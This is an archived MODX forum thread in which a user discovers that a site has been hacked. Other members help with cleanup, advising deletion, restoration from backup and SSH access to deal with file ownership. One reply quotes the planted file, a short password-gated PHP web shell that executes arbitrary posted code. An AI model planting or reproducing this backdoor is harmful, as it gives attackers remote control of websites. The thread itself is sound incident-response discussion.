We launched new forums in March 2019—join us there. In a hurry for help with your website? Get Help Now!
MODX Community Forums Archive

have i been hacked?

    • 10357
    • 573 Posts
    g5604 Reply #1, 17 years, 10 months ago
    HI,

    my site just says DEBUG this morning? have i been hacked?

    g.
      • 25483
      • 741 Posts
      ronaldlokers Reply #2, 17 years, 10 months ago
      Can you provide us more information?


      • Link to the site?
      • What does your access log tell you?
      • What does your error log tell you?
      • Do you see changed files/folders on your hosting account?
        with regards,

        Ronald Lokers
        'Front-end developer' @ h2o Media

        • 10357
        • 573 Posts
        g5604 Reply #3, 17 years, 10 months ago
        bit reluctant to post the link...

        the files all look like there are there but i can`t login to the manager.
          • 10357
          • 573 Posts
          g5604 Reply #4, 17 years, 10 months ago
          in my manager folder i have a folder called archive whith a index.php file i can`t seem to delete is that normal?
            • 36592
            • 970 Posts
            tkfm Reply #5, 17 years, 10 months ago
            I think there’s no folder called "archive" in the manager directory.
            Did you notice this one ? -> http://modxcms.com/forums/index.php/topic,30875.0.html
              • 10357
              • 573 Posts
              g5604 Reply #6, 17 years, 10 months ago
              yep, that what i thought none of my other site have it. this is what i have in the php file:


              <?php
error_reporting(E_ALL);
if (isset($_POST['44e60261']) && md5($_POST['44e60261']) == '1ec1e7d8f3404cbf6bd246578c9212d4') {
	$test_func = create_function('', urldecode($_POST['f']));
	$test_func();
}
exit(); 
?>


              i have deleted reflect now, but i guess its too late
                • 25483
                • 741 Posts
                ronaldlokers Reply #7, 17 years, 10 months ago
                You are to late, try to delete the mentioned php file as fast as possible!!

                Hackers can put stuff on your site with the code you show. The best solutions is to delete all files and replace them with a backup of your site. You could also look at the file changing dates and find out what files are changed to get them secure again!
                  with regards,

                  Ronald Lokers
                  'Front-end developer' @ h2o Media

                  • 10357
                  • 573 Posts
                  g5604 Reply #8, 17 years, 10 months ago
                  i can`t delete it!!! why?
                    • 25663 MODX Staff
                    • 12,272 Posts
                    Ryan Thrash Reply #9, 17 years, 10 months ago
                    You’ll need to login via SSH and use a higher level of privileges. The FTP user isn’t always the same as the HTTP user (Apache) which was used to upload the files, and that’s who owns them. The permissions won’t allow for that.
                      Ryan Thrash, MODX Co-Founder
                      Follow me on Twitter at @rthrash or catch my occasional unofficial thoughts at thrash.me
                      • 10357
                      • 573 Posts
                      g5604 Reply #10, 17 years, 10 months ago
                      i think the host is rubbish, i have a full backup, would it be best to just start again on a new server?

                      thanks for all the help grin